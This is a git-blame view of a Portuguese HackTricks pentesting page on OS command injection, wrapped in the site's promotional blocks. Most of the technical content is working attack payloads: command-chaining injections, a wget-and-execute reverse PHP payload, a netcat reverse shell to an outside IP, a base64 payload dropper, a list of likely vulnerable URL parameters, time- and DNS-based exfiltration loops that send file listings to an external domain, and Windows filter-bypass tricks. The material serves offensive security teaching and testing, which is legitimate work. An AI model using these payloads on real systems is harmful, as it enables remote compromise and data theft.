hacktricks/pentesting-web/command-injection.md

166 lines
8.1 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Injeção de Comando
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
2022-10-27 23:22:18 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2023-06-06 18:56:34 +00:00
## O que é Injeção de Comando?
A injeção de comando em sistema operacional (também conhecida como injeção de shell) é uma vulnerabilidade de segurança na web que permite que um invasor execute comandos arbitrários do sistema operacional (SO) no servidor que está executando um aplicativo, e normalmente comprometa completamente o aplicativo e todos os seus dados. (De [aqui](https://portswigger.net/web-security/os-command-injection)).
2023-06-06 18:56:34 +00:00
### Contexto
Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
2023-06-06 18:56:34 +00:00
## Injeção/Execução de Comando
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
2022-10-02 23:08:05 +00:00
ls${LS_COLORS:10:1}${IFS}id # Might be useful
2022-10-10 00:18:23 +00:00
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limitações** de Bypass
Se você está tentando executar **comandos arbitrários dentro de uma máquina Linux**, você ficará interessado em ler sobre esses **Bypasses**:
2022-10-02 23:08:05 +00:00
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### **Exemplos**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
2023-06-06 18:56:34 +00:00
### Parâmetros
2023-06-06 18:56:34 +00:00
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção de código e vulnerabilidades semelhantes de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
2020-07-29 09:22:22 +00:00
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
2023-06-06 18:56:34 +00:00
### Exfiltração de dados baseada em tempo
2020-07-29 09:22:22 +00:00
2023-06-06 18:56:34 +00:00
Extraindo dados: caractere por caractere
```
2021-06-25 16:50:01 +00:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
2023-06-06 18:56:34 +00:00
### Exfiltração de dados baseada em DNS
2021-06-25 16:50:01 +00:00
Com base na ferramenta do `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
```
2021-06-25 16:50:01 +00:00
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
2021-06-25 16:50:01 +00:00
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
2023-06-06 18:56:34 +00:00
Ferramentas online para verificar a exfiltração de dados baseada em DNS:
2021-06-25 16:50:01 +00:00
* dnsbin.zhack.ca
* pingb.in
### Bypass de filtragem
2021-06-25 16:50:01 +00:00
2022-05-01 13:25:53 +00:00
#### Windows
```
2022-04-05 22:24:52 +00:00
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
2021-06-25 16:50:01 +00:00
```
2022-05-01 13:25:53 +00:00
#### Linux
2021-06-25 16:50:01 +00:00
2022-05-07 19:19:13 +00:00
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
2021-06-25 16:50:01 +00:00
2023-06-06 18:56:34 +00:00
## Lista de Detecção de Força Bruta
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
2021-06-27 21:56:13 +00:00
2023-06-06 18:56:34 +00:00
## Referências
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}
{% embed url="https://portswigger.net/web-security/os-command-injection" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}